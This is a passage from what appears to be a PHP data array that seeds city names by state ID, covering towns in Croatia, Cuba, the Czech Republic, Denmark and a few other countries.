'891', 'name' => 'zemunik donji'],\n ['state_id' => '892', 'name' => 'bestovje'],\n ['state_id' => '892', 'name' => 'bishkupec zelinski'],\n ['state_id' => '892', 'name' => 'brckovljani'],\n ['state_id' => '892', 'name' => 'brdovec'],\n ['state_id' => '892', 'name' => 'bregana'],\n ['state_id' => '892', 'name' => 'brezje'],\n ['state_id' => '892', 'name' => 'bushevec'],\n ['state_id' => '892', 'name' => 'celine'],\n ['state_id' => '892', 'name' => 'domaslovec'],\n ['state_id' => '892', 'name' => 'donja bistra'],\n ['state_id' => '892', 'name' => 'donja kupchina'],\n ['state_id' => '892', 'name' => 'donja lomnica'],\n ['state_id' => '892', 'name' => 'donja zdenchina'],\n ['state_id' => '892', 'name' => 'donji desinec'],\n ['state_id' => '892', 'name' => 'donji stupnik'],\n ['state_id' => '892', 'name' => 'dubrava'],\n ['state_id' => '892', 'name' => 'dugo selo'],\n ['state_id' => '892', 'name' => 'gornja bistra'],\n ['state_id' => '892', 'name' => 'gornji laduch'],\n ['state_id' => '892', 'name' => 'gornji stupnik'],\n ['state_id' => '892', 'name' => 'grachec'],\n ['state_id' => '892', 'name' => 'gradici'],\n ['state_id' => '892', 'name' => 'ivan bistranski'],\n ['state_id' => '892', 'name' => 'ivanic-grad'],\n ['state_id' => '892', 'name' => 'jablanovec'],\n ['state_id' => '892', 'name' => 'jakovlje'],\n ['state_id' => '892', 'name' => 'jastrebarsko'],\n ['state_id' => '892', 'name' => 'kerestinec'],\n ['state_id' => '892', 'name' => 'klincha sela'],\n ['state_id' => '892', 'name' => 'kloshtar ivanic'],\n ['state_id' => '892', 'name' => 'kozinshchak'],\n ['state_id' => '892', 'name' => 'krizh'],\n ['state_id' => '892', 'name' => 'kuche'],\n ['state_id' => '892', 'name' => 'kupinec'],\n ['state_id' => '892', 'name' => 'lonjica'],\n ['state_id' => '892', 'name' => 'luka'],\n ['state_id' => '892', 'name' => 'lukarishce'],\n ['state_id' => '892', 'name' => 'lukavec'],\n ['state_id' => '892', 'name' => 'lupoglav'],\n ['state_id' => '892', 'name' => 'michevec'],\n ['state_id' => '892', 'name' => 'mraclin'],\n ['state_id' => '892', 'name' => 'novaki'],\n ['state_id' => '892', 'name' => 'novo chiche'],\n ['state_id' => '892', 'name' => 'novoselec'],\n ['state_id' => '892', 'name' => 'oborovo bistranski'],\n ['state_id' => '892', 'name' => 'oreshje'],\n ['state_id' => '892', 'name' => 'pojatno'],\n ['state_id' => '892', 'name' => 'poljanica bistranska'],\n ['state_id' => '892', 'name' => 'prigorje brdovechko'],\n ['state_id' => '892', 'name' => 'rakitje'],\n ['state_id' => '892', 'name' => 'rakov potok'],\n ['state_id' => '892', 'name' => 'rude'],\n ['state_id' => '892', 'name' => 'samobor'],\n ['state_id' => '892', 'name' => 'strmec'],\n ['state_id' => '892', 'name' => 'sveta nedelja'],\n ['state_id' => '892', 'name' => 'sveti ivan zelina'],\n ['state_id' => '892', 'name' => 'turopolje'],\n ['state_id' => '892', 'name' => 'velika gorica'],\n ['state_id' => '892', 'name' => 'velika mlaka'],\n ['state_id' => '892', 'name' => 'velika ostrna'],\n ['state_id' => '892', 'name' => 'vrbovec'],\n ['state_id' => '892', 'name' => 'vukovina'],\n ['state_id' => '892', 'name' => 'zapreshic'],\n ['state_id' => '892', 'name' => 'zdenci brdovechki'],\n ['state_id' => '893', 'name' => 'camaguey'],\n ['state_id' => '893', 'name' => 'caney'],\n ['state_id' => '893', 'name' => 'carlos manuel de cespedes'],\n ['state_id' => '893', 'name' => 'esmeralda'],\n ['state_id' => '893', 'name' => 'florida'],\n ['state_id' => '893', 'name' => 'guaimaro'],\n ['state_id' => '893', 'name' => 'minas'],\n ['state_id' => '893', 'name' => 'nuevitas'],\n ['state_id' => '893', 'name' => 'santa cruz del sur'],\n ['state_id' => '893', 'name' => 'sibanicu'],\n ['state_id' => '893', 'name' => 'vertientes'],\n ['state_id' => '895', 'name' => 'cienfuegos'],\n ['state_id' => '895', 'name' => 'cruces'],\n ['state_id' => '895', 'name' => 'cumanayagua'],\n ['state_id' => '895', 'name' => 'palmira'],\n ['state_id' => '895', 'name' => 'rodas'],\n ['state_id' => '897', 'name' => 'bayamo'],\n ['state_id' => '897', 'name' => 'campechuela'],\n ['state_id' => '897', 'name' => 'guisa'],\n ['state_id' => '897', 'name' => 'jiguani'],\n ['state_id' => '897', 'name' => 'manzanillo'],\n ['state_id' => '897', 'name' => 'media luna'],\n ['state_id' => '897', 'name' => 'niquero'],\n ['state_id' => '897', 'name' => 'pilon'],\n ['state_id' => '897', 'name' => 'rio cauto'],\n ['state_id' => '897', 'name' => 'yara'],\n ['state_id' => '898', 'name' => 'baracoa'],\n ['state_id' => '898', 'name' => 'guantanamo'],\n ['state_id' => '898', 'name' => 'yateras'],\n ['state_id' => '899', 'name' => 'havana'],\n ['state_id' => '900', 'name' => 'antilla'],\n ['state_id' => '900', 'name' => 'baguanos'],\n ['state_id' => '900', 'name' => 'banes'],\n ['state_id' => '900', 'name' => 'cacocum'],\n ['state_id' => '900', 'name' => 'cauto cristo'],\n ['state_id' => '900', 'name' => 'cueto'],\n ['state_id' => '900', 'name' => 'gibara'],\n ['state_id' => '900', 'name' => 'holguin'],\n ['state_id' => '900', 'name' => 'jobabo'],\n ['state_id' => '900', 'name' => 'moa'],\n ['state_id' => '900', 'name' => 'sagua de tanamo'],\n ['state_id' => '904', 'name' => 'abreus'],\n ['state_id' => '904', 'name' => 'agramonte'],\n ['state_id' => '904', 'name' => 'aguacate'],\n ['state_id' => '904', 'name' => 'aguada de pasajeros'],\n ['state_id' => '904', 'name' => 'alacranes'],\n ['state_id' => '904', 'name' => 'bolondron'],\n ['state_id' => '904', 'name' => 'calimete'],\n ['state_id' => '904', 'name' => 'cardenas'],\n ['state_id' => '904', 'name' => 'carlos rojas'],\n ['state_id' => '904', 'name' => 'colon'],\n ['state_id' => '904', 'name' => 'corralillo'],\n ['state_id' => '904', 'name' => 'jaguey grande'],\n ['state_id' => '904', 'name' => 'jovellanos'],\n ['state_id' => '904', 'name' => 'juan gualberto gomez'],\n ['state_id' => '904', 'name' => 'los arabos'],\n ['state_id' => '904', 'name' => 'manguito'],\n ['state_id' => '904', 'name' => 'marti'],\n ['state_id' => '904', 'name' => 'matanzas'],\n ['state_id' => '904', 'name' => 'maximo gomez'],\n ['state_id' => '904', 'name' => 'pedro betancourt'],\n ['state_id' => '904', 'name' => 'perico'],\n ['state_id' => '904', 'name' => 'union de reyes'],\n ['state_id' => '904', 'name' => 'varadero'],\n ['state_id' => '910', 'name' => 'limassol'],\n ['state_id' => '912', 'name' => 'paphos'],\n ['state_id' => '915', 'name' => 'frycovice'],\n ['state_id' => '917', 'name' => 'bechyne'],\n ['state_id' => '917', 'name' => 'blatna'],\n ['state_id' => '917', 'name' => 'cheske budejovice'],\n ['state_id' => '917', 'name' => 'chesky krumlov'],\n ['state_id' => '917', 'name' => 'dachice'],\n ['state_id' => '917', 'name' => 'jindrichuv hradec'],\n ['state_id' => '917', 'name' => 'kaplice'],\n ['state_id' => '917', 'name' => 'milevsko'],\n ['state_id' => '917', 'name' => 'pisek'],\n ['state_id' => '917', 'name' => 'prachatice'],\n ['state_id' => '917', 'name' => 'protivin'],\n ['state_id' => '917', 'name' => 'sezimovo usti'],\n ['state_id' => '917', 'name' => 'sobeslav'],\n ['state_id' => '917', 'name' => 'strakonice'],\n ['state_id' => '917', 'name' => 'tabor'],\n ['state_id' => '917', 'name' => 'trebon'],\n ['state_id' => '917', 'name' => 'tyn nad vltavou'],\n ['state_id' => '917', 'name' => 'veseli nad luzhnici'],\n ['state_id' => '917', 'name' => 'vimperk'],\n ['state_id' => '917', 'name' => 'vodnany'],\n ['state_id' => '918', 'name' => 'adamov'],\n ['state_id' => '918', 'name' => 'blansko'],\n ['state_id' => '918', 'name' => 'boskovice'],\n ['state_id' => '918', 'name' => 'breclav'],\n ['state_id' => '918', 'name' => 'brno'],\n ['state_id' => '918', 'name' => 'buchovice'],\n ['state_id' => '918', 'name' => 'dubnany'],\n ['state_id' => '918', 'name' => 'hodonin'],\n ['state_id' => '918', 'name' => 'hrusky'],\n ['state_id' => '918', 'name' => 'hustopeche'],\n ['state_id' => '918', 'name' => 'ivanchice'],\n ['state_id' => '918', 'name' => 'kurim'],\n ['state_id' => '918', 'name' => 'kyjov'],\n ['state_id' => '918', 'name' => 'letovice'],\n ['state_id' => '918', 'name' => 'mikulov'],\n ['state_id' => '918', 'name' => 'moravsky krumlov'],\n ['state_id' => '918', 'name' => 'namesht\\' nad oslavou'],\n ['state_id' => '918', 'name' => 'rosice'],\n ['state_id' => '918', 'name' => 'shlapanice'],\n ['state_id' => '918', 'name' => 'slavkov u brna'],\n ['state_id' => '918', 'name' => 'tishnov'],\n ['state_id' => '918', 'name' => 'vyshkov'],\n ['state_id' => '918', 'name' => 'znojmo'],\n ['state_id' => '919', 'name' => 'ash'],\n ['state_id' => '919', 'name' => 'bozicany'],\n ['state_id' => '919', 'name' => 'cheb'],\n ['state_id' => '919', 'name' => 'chodov'],\n ['state_id' => '919', 'name' => 'frantishkovy lazne'],\n ['state_id' => '919', 'name' => 'horni slavkov'],\n ['state_id' => '919', 'name' => 'karlovy vary'],\n ['state_id' => '919', 'name' => 'kraslice'],\n ['state_id' => '919', 'name' => 'kynshperk nad ohri'],\n ['state_id' => '919', 'name' => 'marianske lazne'],\n ['state_id' => '919', 'name' => 'nejdek'],\n ['state_id' => '919', 'name' => 'ostrov'],\n ['state_id' => '919', 'name' => 'sokolov'],\n ['state_id' => '920', 'name' => 'klecany'],\n ['state_id' => '921', 'name' => 'broumov'],\n ['state_id' => '921', 'name' => 'cherveny kostelec'],\n ['state_id' => '921', 'name' => 'cheska skalice'],\n ['state_id' => '921', 'name' => 'chlumec nad cidlinou'],\n ['state_id' => '921', 'name' => 'dobrushka'],\n ['state_id' => '921', 'name' => 'dvur kralove'],\n ['state_id' => '921', 'name' => 'habartov'],\n ['state_id' => '921', 'name' => 'holice'],\n ['state_id' => '921', 'name' => 'horice'],\n ['state_id' => '921', 'name' => 'hostinne'],\n ['state_id' => '921', 'name' => 'hradec kralove'],\n ['state_id' => '921', 'name' => 'hronov'],\n ['state_id' => '921', 'name' => 'jaromer'],\n ['state_id' => '921', 'name' => 'jichin'],\n ['state_id' => '921', 'name' => 'kostelec nad orlici'],\n ['state_id' => '921', 'name' => 'nachod'],\n ['state_id' => '921', 'name' => 'nova paka'],\n ['state_id' => '921', 'name' => 'nove mesto nad metuji'],\n ['state_id' => '921', 'name' => 'novy bydzhov'],\n ['state_id' => '921', 'name' => 'rychnov nad knezhnou'],\n ['state_id' => '921', 'name' => 'trebechovice pod orebem'],\n ['state_id' => '921', 'name' => 'trutnov'],\n ['state_id' => '921', 'name' => 'tynishte nad orlici'],\n ['state_id' => '921', 'name' => 'upice'],\n ['state_id' => '921', 'name' => 'vrchlabi'],\n ['state_id' => '922', 'name' => 'ceska lipa'],\n ['state_id' => '922', 'name' => 'cheska kamenice'],\n ['state_id' => '922', 'name' => 'cheska lipa'],\n ['state_id' => '922', 'name' => 'chrastava'],\n ['state_id' => '922', 'name' => 'doksy'],\n ['state_id' => '922', 'name' => 'frydlant'],\n ['state_id' => '922', 'name' => 'hradek'],\n ['state_id' => '922', 'name' => 'jablonec'],\n ['state_id' => '922', 'name' => 'jilemnice'],\n ['state_id' => '922', 'name' => 'liberec'],\n ['state_id' => '922', 'name' => 'lomnice nad popelkou'],\n ['state_id' => '922', 'name' => 'mimon'],\n ['state_id' => '922', 'name' => 'novy bor'],\n ['state_id' => '922', 'name' => 'semily'],\n ['state_id' => '922', 'name' => 'tanvald'],\n ['state_id' => '922', 'name' => 'turnov'],\n ['state_id' => '922', 'name' => 'zhelezny brod'],\n ['state_id' => '923', 'name' => 'lipov'],\n ['state_id' => '924', 'name' => 'bilovec'],\n ['state_id' => '924', 'name' => 'bohumin'],\n ['state_id' => '924', 'name' => 'bruntal'],\n ['state_id' => '924', 'name' => 'chesky teshin'],\n ['state_id' => '924', 'name' => 'frenshtat'],\n ['state_id' => '924', 'name' => 'frydek-mistek'],\n ['state_id' => '924', 'name' => 'frydlant nad ostravici'],\n ['state_id' => '924', 'name' => 'fulnek'],\n ['state_id' => '924', 'name' => 'havirov'],\n ['state_id' => '924', 'name' => 'hluchin'],\n ['state_id' => '924', 'name' => 'hradec nad moravice'],\n ['state_id' => '924', 'name' => 'jablunkov'],\n ['state_id' => '924', 'name' => 'karvina'],\n ['state_id' => '924', 'name' => 'koprivnice'],\n ['state_id' => '924', 'name' => 'kravare'],\n ['state_id' => '924', 'name' => 'krnov'],\n ['state_id' => '924', 'name' => 'novy jichin'],\n ['state_id' => '924', 'name' => 'odry'],\n ['state_id' => '924', 'name' => 'opava'],\n ['state_id' => '924', 'name' => 'orlova'],\n ['state_id' => '924', 'name' => 'ostrava'],\n ['state_id' => '924', 'name' => 'petrvald'],\n ['state_id' => '924', 'name' => 'pribor'],\n ['state_id' => '924', 'name' => 'rychvald'],\n ['state_id' => '924', 'name' => 'rymarov'],\n ['state_id' => '924', 'name' => 'shenov'],\n ['state_id' => '924', 'name' => 'studenka'],\n ['state_id' => '924', 'name' => 'trinec'],\n ['state_id' => '924', 'name' => 'vitkov'],\n ['state_id' => '924', 'name' => 'vratimov'],\n ['state_id' => '924', 'name' => 'vrbno pod pradedem'],\n ['state_id' => '925', 'name' => 'hranice'],\n ['state_id' => '925', 'name' => 'jesenik'],\n ['state_id' => '925', 'name' => 'kojetin'],\n ['state_id' => '925', 'name' => 'lipnik nad becvou'],\n ['state_id' => '925', 'name' => 'litovel'],\n ['state_id' => '925', 'name' => 'mohelnice'],\n ['state_id' => '925', 'name' => 'olomouc'],\n ['state_id' => '925', 'name' => 'prerov'],\n ['state_id' => '925', 'name' => 'prostejov'],\n ['state_id' => '925', 'name' => 'shternberk'],\n ['state_id' => '925', 'name' => 'shumperk'],\n ['state_id' => '925', 'name' => 'unichov'],\n ['state_id' => '925', 'name' => 'zabreh'],\n ['state_id' => '926', 'name' => 'hranice'],\n ['state_id' => '926', 'name' => 'jesenik'],\n ['state_id' => '926', 'name' => 'kojetin'],\n ['state_id' => '926', 'name' => 'lipnik nad becvou'],\n ['state_id' => '926', 'name' => 'litovel'],\n ['state_id' => '926', 'name' => 'mohelnice'],\n ['state_id' => '926', 'name' => 'olomouc'],\n ['state_id' => '926', 'name' => 'prerov'],\n ['state_id' => '926', 'name' => 'prostejov'],\n ['state_id' => '926', 'name' => 'shternberk'],\n ['state_id' => '926', 'name' => 'shumperk'],\n ['state_id' => '926', 'name' => 'unichov'],\n ['state_id' => '926', 'name' => 'zabreh'],\n ['state_id' => '927', 'name' => 'cheska trebova'],\n ['state_id' => '927', 'name' => 'chocen'],\n ['state_id' => '927', 'name' => 'chrudim'],\n ['state_id' => '927', 'name' => 'chvaletice'],\n ['state_id' => '927', 'name' => 'hermanuv mestec'],\n ['state_id' => '927', 'name' => 'hlinsko'],\n ['state_id' => '927', 'name' => 'lanshkroun'],\n ['state_id' => '927', 'name' => 'letohrad'],\n ['state_id' => '927', 'name' => 'litomyshl'],\n ['state_id' => '927', 'name' => 'moravska trebova'],\n ['state_id' => '927', 'name' => 'pardubice'],\n ['state_id' => '927', 'name' => 'polichka'],\n ['state_id' => '927', 'name' => 'policka'],\n ['state_id' => '927', 'name' => 'prelouch'],\n ['state_id' => '927', 'name' => 'skutech'],\n ['state_id' => '927', 'name' => 'svitavy'],\n ['state_id' => '927', 'name' => 'usti nad orlici'],\n ['state_id' => '927', 'name' => 'vysoke myto'],\n ['state_id' => '927', 'name' => 'zhamberk'],\n ['state_id' => '928', 'name' => 'dobrany'],\n ['state_id' => '928', 'name' => 'domazhlice'],\n ['state_id' => '928', 'name' => 'horazhd\\'ovice'],\n ['state_id' => '928', 'name' => 'horshovky tyn'],\n ['state_id' => '928', 'name' => 'kdyne'],\n ['state_id' => '928', 'name' => 'klatovy'],\n ['state_id' => '928', 'name' => 'nyrany'],\n ['state_id' => '928', 'name' => 'nyrsko'],\n ['state_id' => '928', 'name' => 'plana'],\n ['state_id' => '928', 'name' => 'plzen'],\n ['state_id' => '928', 'name' => 'preshtice'],\n ['state_id' => '928', 'name' => 'radnice'],\n ['state_id' => '928', 'name' => 'rokycany'],\n ['state_id' => '928', 'name' => 'stribro'],\n ['state_id' => '928', 'name' => 'sushice'],\n ['state_id' => '928', 'name' => 'tachov'],\n ['state_id' => '929', 'name' => 'prague'],\n ['state_id' => '929', 'name' => 'praha'],\n ['state_id' => '930', 'name' => 'rajhrad'],\n ['state_id' => '931', 'name' => 'smirice'],\n ['state_id' => '934', 'name' => 'benatky nad jizerou'],\n ['state_id' => '934', 'name' => 'beneshov'],\n ['state_id' => '934', 'name' => 'beroun'],\n ['state_id' => '934', 'name' => 'brandys nad labem-stara bolesl'],\n ['state_id' => '934', 'name' => 'chaslav'],\n ['state_id' => '934', 'name' => 'chavaletice'],\n ['state_id' => '934', 'name' => 'chelakovice'],\n ['state_id' => '934', 'name' => 'chesky brod'],\n ['state_id' => '934', 'name' => 'dobrish'],\n ['state_id' => '934', 'name' => 'horovice'],\n ['state_id' => '934', 'name' => 'kladno'],\n ['state_id' => '934', 'name' => 'kolin'],\n ['state_id' => '934', 'name' => 'kralupy nad vltavou'],\n ['state_id' => '934', 'name' => 'kutna hora'],\n ['state_id' => '934', 'name' => 'lysa nad labem'],\n ['state_id' => '934', 'name' => 'melnik'],\n ['state_id' => '934', 'name' => 'mlada boleslav'],\n ['state_id' => '934', 'name' => 'mnichovo hradishte'],\n ['state_id' => '934', 'name' => 'neratovice'],\n ['state_id' => '934', 'name' => 'nove strasheci'],\n ['state_id' => '934', 'name' => 'nymburk'],\n ['state_id' => '934', 'name' => 'podebrady'],\n ['state_id' => '934', 'name' => 'pribram'],\n ['state_id' => '934', 'name' => 'rakovnik'],\n ['state_id' => '934', 'name' => 'richany'],\n ['state_id' => '934', 'name' => 'rousinov'],\n ['state_id' => '934', 'name' => 'roztoky'],\n ['state_id' => '934', 'name' => 'sedlcany'],\n ['state_id' => '934', 'name' => 'slany'],\n ['state_id' => '934', 'name' => 'stochov'],\n ['state_id' => '934', 'name' => 'vlashim'],\n ['state_id' => '934', 'name' => 'zruch nad sazavou'],\n ['state_id' => '935', 'name' => 'unicov'],\n ['state_id' => '936', 'name' => 'bilina'],\n ['state_id' => '936', 'name' => 'chomutov'],\n ['state_id' => '936', 'name' => 'dechin'],\n ['state_id' => '936', 'name' => 'dubi'],\n ['state_id' => '936', 'name' => 'duchcov'],\n ['state_id' => '936', 'name' => 'jilove'],\n ['state_id' => '936', 'name' => 'jirkov'],\n ['state_id' => '936', 'name' => 'kadan'],\n ['state_id' => '936', 'name' => 'klasterec nad ohri'],\n ['state_id' => '936', 'name' => 'krupka'],\n ['state_id' => '936', 'name' => 'litomerice'],\n ['state_id' => '936', 'name' => 'litvinov'],\n ['state_id' => '936', 'name' => 'louny'],\n ['state_id' => '936', 'name' => 'lovosice'],\n ['state_id' => '936', 'name' => 'mezibori'],\n ['state_id' => '936', 'name' => 'most'],\n ['state_id' => '936', 'name' => 'osek'],\n ['state_id' => '936', 'name' => 'podborany'],\n ['state_id' => '936', 'name' => 'roudnice'],\n ['state_id' => '936', 'name' => 'rumburk'],\n ['state_id' => '936', 'name' => 'shluknov'],\n ['state_id' => '936', 'name' => 'shteti'],\n ['state_id' => '936', 'name' => 'teplice'],\n ['state_id' => '936', 'name' => 'usti'],\n ['state_id' => '936', 'name' => 'varnsdorf'],\n ['state_id' => '936', 'name' => 'zatec'],\n ['state_id' => '937', 'name' => 'valletta'],\n ['state_id' => '938', 'name' => 'velesin'],\n ['state_id' => '939', 'name' => 'bystrice nad pernshtejnem'],\n ['state_id' => '939', 'name' => 'chotebor'],\n ['state_id' => '939', 'name' => 'havlichkuv brod'],\n ['state_id' => '939', 'name' => 'humpolec'],\n ['state_id' => '939', 'name' => 'jihlava'],\n ['state_id' => '939', 'name' => 'ledech'],\n ['state_id' => '939', 'name' => 'moravske budejovice'],\n ['state_id' => '939', 'name' => 'nove mesto na morave'],\n ['state_id' => '939', 'name' => 'okrisky'],\n ['state_id' => '939', 'name' => 'pacov'],\n ['state_id' => '939', 'name' => 'pelhrimov'],\n ['state_id' => '939', 'name' => 'polna'],\n ['state_id' => '939', 'name' => 'svetla nad sazavou'],\n ['state_id' => '939', 'name' => 'telch'],\n ['state_id' => '939', 'name' => 'trebich'],\n ['state_id' => '939', 'name' => 'tresht\\''],\n ['state_id' => '939', 'name' => 'velke mezirichi'],\n ['state_id' => '939', 'name' => 'zhd\\'ar'],\n ['state_id' => '940', 'name' => 'brumov'],\n ['state_id' => '940', 'name' => 'bystrice pod hostynem'],\n ['state_id' => '940', 'name' => 'chropyne'],\n ['state_id' => '940', 'name' => 'holeshov'],\n ['state_id' => '940', 'name' => 'hulin'],\n ['state_id' => '940', 'name' => 'kromerizh'],\n ['state_id' => '940', 'name' => 'kunovice'],\n ['state_id' => '940', 'name' => 'napajedla'],\n ['state_id' => '940', 'name' => 'otrokovice'],\n ['state_id' => '940', 'name' => 'rozhnov'],\n ['state_id' => '940', 'name' => 'roznov pod radhostem'],\n ['state_id' => '940', 'name' => 'slavicin'],\n ['state_id' => '940', 'name' => 'slusovice'],\n ['state_id' => '940', 'name' => 'stare mesto'],\n ['state_id' => '940', 'name' => 'strazhnice'],\n ['state_id' => '940', 'name' => 'uherske hradishte'],\n ['state_id' => '940', 'name' => 'uhersky brod'],\n ['state_id' => '940', 'name' => 'valashske klobouky'],\n ['state_id' => '940', 'name' => 'valashske mezirichi'],\n ['state_id' => '940', 'name' => 'veseli nad moravou'],\n ['state_id' => '940', 'name' => 'vsetin'],\n ['state_id' => '940', 'name' => 'zborovice'],\n ['state_id' => '940', 'name' => 'zlin'],\n ['state_id' => '941', 'name' => 'aarhus'],\n ['state_id' => '941', 'name' => 'allingabro'],\n ['state_id' => '941', 'name' => 'arhus'],\n ['state_id' => '941', 'name' => 'assentoft'],\n ['state_id' => '941', 'name' => 'auning'],\n ['state_id' => '941', 'name' => 'beder'],\n ['state_id' => '941', 'name' => 'brabrand'],\n ['state_id' => '941', 'name' => 'ebeltoft'],\n ['state_id' => '941', 'name' => 'framlev'],\n ['state_id' => '941', 'name' => 'galten'],\n ['state_id' => '941', 'name' => 'grenaa'],\n ['state_id' => '941', 'name' => 'hadsten'],\n ['state_id' => '941', 'name' => 'hammel'],\n ['state_id' => '941', 'name' => 'hinnerup'],\n ['state_id' => '941', 'name' => 'hjortshoj'],\n ['state_id' => '941', 'name' => 'horning'],\n ['state_id' => '941', 'name' => 'hornslet'],\n ['state_id' => '941', 'name' => 'kolt'],\n ['state_id' => '941', 'name' => 'langa'],\n ['state_id' => '941', 'name' => 'logten'],\n ['state_id' => '941', 'name' => 'lystrup'],\n ['state_id' => '941', 'name' => 'malling'],\n ['state_id' => '941', 'name' => 'mariager'],\n ['state_id' => '941', 'name' => 'marslet'],\n ['state_id' => '941', 'name' => 'odder'],\n ['state_id' => '941', 'name' => 'randers'],\n ['state_id' => '941', 'name' => 'risskov'],\n ['state_id' => '941', 'name' => 'ronde'],\n ['state_id' => '941', 'name' => 'ry'],\n ['state_id' => '941', 'name' => 'ryomgard'],\n ['state_id' => '941', 'name' => 'sabro'],\n ['state_id' => '941', 'name' => 'silkeborg'],\n ['state_id' => '941', 'name' => 'skanderborg'],\n ['state_id' => '941', 'name' => 'skovby'],\n ['state_id' => '941', 'name' => 'soften'],\n ['state_id' => '941', 'name' => 'solbjerg'],\n ['state_id' => '941', 'name' => 'spentrup'],\n ['state_id' => '941', 'name' => 'stavtrup'],\n ['state_id' => '941', 'name' => 'stilling'],\n ['state_id' => '941', 'name' => 'svejbak'],\n ['state_id' => '941', 'name' => 'tranbjerg'],\n ['state_id' => '941', 'name' => 'trige'],\n ['state_id' => '941', 'name' => 'virklund'],\n ['state_id' => '942', 'name' => 'aakirkeby'],\n ['state_id' => '942', 'name' => 'allinge-sandvig'],\n ['state_id' => '942', 'name' => 'nexo'],\n ['state_id' => '942', 'name' => 'ronne'],\n ['state_id' => '943', 'name' => 'allerod'],\n ['state_id' => '943', 'name' => 'birkerod'],\n ['state_id' => '943', 'name' => 'blovstrod'],\n ['state_id' => '943', 'name' => 'espergarde'],\n ['state_id' => '943', 'name' => 'farum'],\n ['state_id' => '943', 'name' => 'fredensborg'],\n ['state_id' => '943', 'name' => 'frederikssund'],\n ['state_id' => '943', 'name' => 'frederiksvark'],\n ['state_id' => '943', 'name' => 'ganlose'],\n ['state_id' => '943', 'name' => 'gilleleje'],\n ['state_id' => '943', 'name' => 'grasted'],\n ['state_id' => '943', 'name' => 'hellebak'],\n ['state_id' => '943', 'name' => 'helsinge'],\n ['state_id' => '943', 'name' => 'helsingor'],\n ['state_id' => '943', 'name' => 'hillerod'],\n ['state_id' => '943', 'name' => 'hornbak'],\n ['state_id' => '943', 'name' => 'horsholm'],\n ['state_id' => '943', 'name' => 'humlebak'],\n ['state_id' => '943', 'name' => 'hundested'],\n ['state_id' => '943', 'name' => 'jagerspris'],\n ['state_id' => '943', 'name' => 'kvistgaard'],\n ['state_id' => '943', 'name' => 'lillerod'],\n ['state_id' => '943', 'name' => 'liseleje'],\n ['state_id' => '943', 'name' => 'lynge'],\n ['state_id' => '943', 'name' => 'niva'],\n ['state_id' => '943', 'name' => 'nodebo'],\n ['state_id' => '943', 'name' => 'olstykke'],\n ['state_id' => '943', 'name' => 'skibby'],\n ['state_id' => '943', 'name' => 'slangerup'],\n ['state_id' => '943', 'name' => 'stavnsholt'],\n ['state_id' => '943', 'name' => 'stenlose'],\n ['state_id' => '943', 'name' => 'valby'],\n ['state_id' => '943', 'name' => 'vekso'],\n ['state_id' => '944', 'name' => 'aarup'],\n ['state_id' => '944', 'name' => 'arslev'],\n ['state_id' => '944', 'name' => 'assens'],\n ['state_id' => '944', 'name' => 'bellinge'],\n ['state_id' => '944', 'name' => 'blommenslyst'],\n ['state_id' => '944', 'name' => 'bogense'],\n ['state_id' => '944', 'name' => 'brenderup'],\n ['state_id' => '944', 'name' => 'broby'],\n ['state_id' => '944', 'name' => 'bullerup'],\n ['state_id' => '944', 'name' => 'ejby'],\n ['state_id' => '944', 'name' => 'faaborg'],\n ['state_id' => '944', 'name' => 'glamsbjerg'],\n ['state_id' => '944', 'name' => 'haarby'],\n ['state_id' => '944', 'name' => 'hojby'],\n ['state_id' => '944', 'name' => 'kerteminde'],\n ['state_id' => '944', 'name' => 'langeskov'],\n ['state_id' => '944', 'name' => 'marstal'],\n ['state_id' => '944', 'name' => 'middelfart'],\n ['state_id' => '944', 'name' => 'munkebo'],\n ['state_id' => '944', 'name' => 'neder holluf'],\n ['state_id' => '944', 'name' => 'norre aaby'],\n ['state_id' => '944', 'name' => 'nyborg'],\n ['state_id' => '944', 'name' => 'odense'],\n ['state_id' => '944', 'name' => 'otterup'],\n ['state_id' => '944', 'name' => 'ringe'],\n ['state_id' => '944', 'name' => 'rudkobing'],\n ['state_id' => '944', 'name' => 'sankt klemens'],\n ['state_id' => '944', 'name' => 'seden'],\n ['state_id' => '944', 'name' => 'sonderso'],\n ['state_id' => '944', 'name' => 'stige'],\n ['state_id' => '944', 'name' => 'strib'],\n ['state_id' => '944', 'name' => 'svendborg'],\n ['state_id' => '944', 'name' => 'thuro'],\n ['state_id' => '944', 'name' => 'tommerup'],\n ['state_id' => '944', 'name' => 'ullerslev'],\n ['state_id' => '944', 'name' => 'vindeby'],\n ['state_id' => '944', 'name' => 'vissenbjerg'],\n ['state_id' => '945', 'name' => 'ballerup'],\n ['state_id' => '945', 'name' => 'brondby'],\n ['state_id' => '945', 'name' => 'stenlose'],\n ['state_id' => '945', 'name' => 'vallensbaek'],\n ['state_id' => '946', 'name' => 'dragor'],\n ['state_id' => '946', 'name' => 'flong'],\n ['state_id' => '946', 'name' => 'gentofte'],\n ['state_id' => '946', 'name' => 'glostrup'],\n ['state_id' => '946', 'name' => 'herlev'],\n ['state_id' => '946', 'name' => 'hvidovre'],\n ['state_id' => '946', 'name' => 'ishoj'],\n ['state_id' => '946', 'name' => 'kastrup'],\n ['state_id' => '946', 'name' => 'lyngby'],\n ['state_id' => '946', 'name' => 'malov'],\n ['state_id' => '946', 'name' => 'smorumnedre'],\n ['state_id' => '946', 'name' => 'taastrup'],\n ['state_id' => '946', 'name' => 'trorod'],\n ['state_id' => '946', 'name' => 'vanlose'],\n ['state_id' => '946', 'name' => 'varlose'],\n ['state_id' => '949', 'name' => 'aabybro'],\n ['state_id' => '949', 'name' => 'aalborg'],\n ['state_id' => '949', 'name' => 'aars'],\n ['state_id' => '949', 'name' => 'arden'],\n ['state_id' => '949', 'name' => 'bindslev'],\n ['state_id' => '949', 'name' => 'bronderslev'],\n ['state_id' => '949', 'name' => 'brovst'],\n ['state_id' => '949', 'name' => 'dronninglund'],\n ['state_id' => '949', 'name' => 'farso'],\n ['state_id' => '949', 'name' => 'fjerritslev'],\n ['state_id' => '949', 'name' => 'frederikshavn'],\n ['state_id' => '949', 'name' => 'frejlev'],\n ['state_id' => '949', 'name' => 'gistrup'],\n ['state_id' => '949', 'name' => 'gorlose'],\n ['state_id' => '949', 'name' => 'hadsund'],\n ['state_id' => '949', 'name' => 'hals'],\n ['state_id' => '949', 'name' => 'hirtshals'],\n ['state_id' => '949', 'name' => 'hjallerup'],\n ['state_id' => '949', 'name' => 'hjorring'],\n ['state_id' => '949', 'name' => 'hobro'],\n ['state_id' => '949', 'name' => 'kas'],\n ['state_id' => '949', 'name' => 'klarup'],\n ['state_id' => '949', 'name' => 'logstor'],\n ['state_id' => '949', 'name' => 'nibe'],\n ['state_id' => '949', 'name' => 